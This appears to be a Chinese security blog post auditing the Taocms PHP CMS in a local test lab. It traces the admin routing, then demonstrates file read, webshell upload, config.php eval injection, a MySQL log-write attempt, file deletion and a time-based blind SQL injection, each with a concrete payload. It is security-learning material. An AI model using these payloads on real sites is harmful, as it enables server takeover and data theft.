php代审2——Taocms

taocms代码审计

1、环境准备

taocms

phpstudy8.1.1.3

apache2.4.39+mysql5.7.26+php5.6.9

2、环境搭建

先创建一个database,create database taocms;

image-20250120100949653

直接访问站点install.php,数据库类型选择mysql,构建数据库配置|127.0.0.1:3306|root|root|taocms

image-20250120101306885

直接安装即可

image-20250120101447066

登录,再设定一下网站地址即可

image-20250120101943314

3、路由审计

1、大概看一下目录结构

image-20250120111539425

主要涉及到以下目录

1
2
3
4
5
admin  后台管理
data 数据,例如一些文章
include 配置文件、一部分类
template 图片文件
wap 存储评论

2、看看站点的url,并结合网站目录,分析路由

单纯看该cms的后台管理,发现无论点击左栏的任意项目,url都是http://taocms/admin/admin.php?action=frame&ctrl=iframes,这明显不太对,怎么可能一点都不改变,于是我直接尝试执行一个功能点,抓个包看看情况(代码功底比较差,还是集合功能点理解),以”sql执行”为例

image-20250120115000255

执行语句,并抓包

image-20250120115154712

关注一下post传入的参数

image-20250120115244722

目前查看ctrl有iframes、display值;action有frame、sql等值

依次全局搜索一下值,找一下共同点

image-20250120115751947

image-20250120115832558

发现ctrl参数都对应了一个方法

image-20250120115940358

image-20250120120001908

而action参数则是应该对应类名

所以我们差不都就明白了路由,再后台管理界面,action对应了类名、ctrl对应类中的方法名,而每一个类都以文件名的形式,放在include/model目录下

image-20250120120346257

上述就是我们根据url和目录结构分析的,这个方法比较好理解,现在我们直接看路由与页面跳转相关的代码,保存在admin.php中

image-20250121121017872

4、漏洞审计

漏洞1:任意文件读取

全局函数file_get_contents(),这个函数主要是获取文件内容,但是不能输出,所以我也要看是否有输出,于是选定了下面这个文件

image-20250120132333814

我进一步查看,发现是在一个download函数里面

image-20250120132543313

看了看,读取的变量为realpath,跟随其变量

image-20250120132843487

该变量是在construct魔术方法中,我们只需要直接传入path变量,再在上述download方法中发现,对path使用pathinfo方法,对我们的文件路径没有做任何限制和过滤,同时SYS_ROOT为网站根目录

image-20250120134055715

所以我们只需要直接传入path参数,就可以实现任意文件读取了

漏洞1验证

创建一个test.txt文件用于验证

构建payload:

1
http://taocms/admin/admin.php?action=file&ctrl=download&path=test.txt

发现报错,refer error应该是要求refer请求头

image-20250120171204252

翻翻代码,发现要ReferHost(referer请求头)要和Host请求头一样,否则会发生跳转,所以我们直接添加referer请求头

image-20250120171554430

成功读取

image-20250120171925490

当然也可以读取配置文件等

image-20250120172113681

漏洞2:任意文件上传getshell

我们全局检索upload(关键词

发现一个upload函数,但是是采用白名单过滤的,就放弃了

image-20250120172815405

然后我们再检索一下move_uploaded_file函数

image-20250120173055961

然后我们根据tmpfile变量,但是没有我们可以传参的地地方,索性直接下一个。找了一阵代码没有什么比较好的突破口,我们直接回归功能点,根据web界面的功能点,去查看相关文件上传操作,并回归代码。

image-20250120194333465

很明显的文件管理,直接新建一个1.php文件,并抓包

image-20250120194628617

根据路由找到相关代码:file类中的create函数,fopenhan’shu

image-20250120194800148

没有做任何过滤,直接上传成功,直接编辑,写入php代码

image-20250120194923419

image-20250120195018697

在网站根目录下,直接访问,成功getshell

image-20250120195054948

漏洞3:mysql日志写入getshell(失败)

其实这个不怎么需要代码审计,我们直接黑盒思路,因为这个cms的后台管理确实也太明目张胆了,真的就纯纯根据功能点来进行审计。

我们直接在”执行sql”处执行sql语句select @@version;,查看版本为5.7.26

image-20250120195806357

mysql版本5.6.34之后secure_file_priv值,默认为NULL,无法进行文件写入。于是我们使用日志写入shell,我们先查看

1
show variables like '%general%';

image-20250120204824564

1
2
3
set global general_log = "ON";
set global general_log_file='D:\phpstudy_pro\WWW\taocms\2.php';
select '<?php eval($_POST[cmd]);?>';

原本以为万无一失,但是奈何此处不能执行多条sql语句,就失败了。

漏洞4:修改配置文件getshell

翻阅网站功能点,在网站设置栏,更新功能点有个数据库的配置,同时猜想,可能在这个功能点会把相关配置写入配置文件中,于是审计以下代码,有没有可乘之机

image-20250120212525582

可见该函数会先判断是否config.php是否可写,然后先销毁POST变量,然后重新传入POST参数,进行重新配置,其中POST的内容会被safeword函数进行过滤,我们进一步跟进safeword函数。

image-20250120213006505

默认level=8,然后就走默认的level,如下

1
2
3
4
5
6
7
8
9
10
static function safeword($text,$level=8){
default:
if(ucfirst(DB)=='Sqlite'){
$safeword=str_replace("'","''",$text);
}
else{
$safeword=Base::_addslashs($text);
}
break;
}

不是Sqlite,于是直接使用_addslashs()方法,进一步跟进

1
2
3
4
static function _addslashs($text){
$text = addslashes($text);
return $text;
}

addslashes函数主要对一些特殊符号(通过在字符串中的单引号、双引号、反斜杠和 NULL 字符前加上反斜杠)来转义这些字符,所以就是会对我们POST传入的参数,进行简单转义

image-20250120213916163

然会会将我们传入的内容直接写入config.php中,我们就可尝试直接在config.php中写入一句话木马,构造payload尝试绕过

image-20250120215353435但是迫于addslashes函数,还是失败了

image-20250120215423909

但是我们可以通过上一个if判断(数据库为Sqlite)来写入,这样以来,只会有一个字符替换

1
$safeword=str_replace("'","''",$text);

于是我们重新构造payload

1
\');@eval($_REQUEST[cmd]);/*

记得选择sqlite数据库!

image-20250121095400099

成功修改配置

image-20250121100240950

成功getshell

image-20250121100312616

还可以通过install.php,安装的时候也根据上面选择sqlite,然后再构建payload

1
|127.0.0.1:3306|root|root|taocms|');eval($_REQUEST['cmd']);//

即可再次写入config.php文件getshell

漏洞5:任意文件删除

检索unlink(,检索到下述代码

image-20250121105539158

没有什么过滤,直接构造payload,开删

image-20250121110045349

sql注入

整个cms还有很多sql注入

其中一个为例,我们通过翻阅函数,发现一个delist函数,该函数没有对sql语句及其参数使用过滤

image-20250121120214437

然后向上查找,找到cms类中有del方法调用delist方法,但是根据原delist函数发现没有回显,所以要采用盲注等方法

image-20250121120317739

此处id就是我们的注入点,那我们该如何传入这个参数?于是我们尝试追踪id参数,找到了Article类中的id变量,为什么会定位到Article类,因为Cms类其实是继承了Article类的(如下)

image-20250121121709214

然后我们通过查看Article类中的属性、方法,发现创建该类时就会调用魔术方法,__construct,然后使id=0,这难道就不能传参了?肯定不会止步于此

image-20250121121503959

回看之前admin.php中的路由与参数

image-20250121122335863

我们创建类的时候,是可以自己通过传参传入id参数的,从而突破了魔术方法的限制。而且PHP 中的子类可以使用父类的传参来创建子类对象。于是乎我们直接开始构造poc

可以加一个echo查看调试语句

image-20250121132622711

1
action=cms&ctrl=del&id=27) or 1=1# 

没有成功

尝试时间盲注,时间盲注poc如下

1
action=cms&ctrl=del&id=21)+or+sleep(4)%23

image-20250121131901022

成功了!

当然里面还有很多未做好过滤的,需要检索sql语句关键字,耐心查看

总结

这个cms表面易挖掘的漏洞点,可以通过功能点很快挖掘到。

而且它主要是通过类加载来实现功能点,也是它比较特殊的点。然后过滤函数也写得比较水,其实还是很好挖掘的,最重要的自我感觉还是一定要弄清楚,一开始只是对路由有个大概的理解,还是没有深度去看代码,导致了我之后对sql注入的传参、挖掘还懵了一下,所以路由很重要!!!不要局限在表面

多了解了一个路由方式。还有就是深度挖掘经典漏洞可以从函数入手,但是权限方面的漏洞,自我感觉要结合黑盒的思路,通过功能、权限参数的对比,然后去深究代码挖掘。


php代审2——Taocms
http://example.com/2025/01/21/php代审2——Taocms/
作者
Yf3te
发布于
2025年1月21日
许可协议